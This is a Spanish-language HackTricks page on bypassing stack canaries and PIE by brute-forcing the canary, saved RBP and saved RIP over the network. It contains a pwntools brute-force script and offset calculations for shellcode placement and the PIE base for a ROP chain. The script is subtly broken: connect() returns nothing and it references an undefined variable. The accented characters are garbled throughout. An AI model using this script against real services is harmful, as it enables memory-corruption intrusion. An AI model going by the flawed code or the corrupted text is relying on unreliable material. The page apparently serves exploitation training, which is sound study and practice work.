BF Addresses in the Stack
Reading time: 5 minutes
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
Si te enfrentas a un binario protegido por un canary y PIE (Position Independent Executable), probablemente necesites encontrar una forma de eludirlos.
note
Ten en cuenta que checksec
podr铆a no encontrar que un binario est谩 protegido por un canary si este fue compilado est谩ticamente y no es capaz de identificar la funci贸n.
Sin embargo, puedes notar esto manualmente si encuentras que un valor se guarda en la pila al comienzo de una llamada a funci贸n y este valor se verifica antes de salir.
Brute-Force Addresses
Para eludir el PIE necesitas filtrar alguna direcci贸n. Y si el binario no est谩 filtrando ninguna direcci贸n, lo mejor que puedes hacer es fuerza bruta el RBP y RIP guardados en la pila en la funci贸n vulnerable.
Por ejemplo, si un binario est谩 protegido usando tanto un canary como PIE, puedes comenzar a forzar bruta el canary, luego los siguientes 8 Bytes (x64) ser谩n el RBP guardado y los siguientes 8 Bytes ser谩n el RIP guardado.
tip
Se supone que la direcci贸n de retorno dentro de la pila pertenece al c贸digo binario principal, que, si la vulnerabilidad se encuentra en el c贸digo binario, generalmente ser谩 el caso.
Para forzar bruta el RBP y el RIP del binario, puedes deducir que un byte adivinado v谩lido es correcto si el programa produce algo o simplemente no se bloquea. La misma funci贸n que se proporciona para forzar bruta el canary se puede usar para forzar bruta el RBP y el RIP:
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
Lo 煤ltimo que necesitas para derrotar el PIE es calcular direcciones 煤tiles a partir de las direcciones filtradas: el RBP y el RIP.
Desde el RBP puedes calcular d贸nde est谩s escribiendo tu shell en la pila. Esto puede ser muy 煤til para saber d贸nde vas a escribir la cadena "/bin/sh\x00" dentro de la pila. Para calcular la distancia entre el RBP filtrado y tu shellcode, simplemente puedes poner un punto de interrupci贸n despu茅s de filtrar el RBP y verificar d贸nde se encuentra tu shellcode, luego, puedes calcular la distancia entre el shellcode y el RBP:
INI_SHELLCODE = RBP - 1152
Desde el RIP puedes calcular la direcci贸n base del binario PIE, que es lo que necesitar谩s para crear una cadena ROP v谩lida.
Para calcular la direcci贸n base, simplemente haz objdump -d vunbinary
y verifica las 煤ltimas direcciones desensambladas:
En ese ejemplo, puedes ver que solo se necesitan 1 Byte y medio para localizar todo el c贸digo, entonces, la direcci贸n base en esta situaci贸n ser谩 el RIP filtrado pero terminando en "000". Por ejemplo, si filtraste 0x562002970ecf
, la direcci贸n base es 0x562002970000
elf.address = RIP - (RIP & 0xfff)
Mejoras
Seg煤n algunas observaciones de esta publicaci贸n, es posible que al filtrar los valores de RBP y RIP, el servidor no se bloquee con algunos valores que no son los correctos y el script de BF pensar谩 que obtuvo los correctos. Esto se debe a que algunas direcciones simplemente no lo romper谩n incluso si no son exactamente las correctas.
Seg煤n esa publicaci贸n del blog, se recomienda introducir un breve retraso entre las solicitudes al servidor.
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.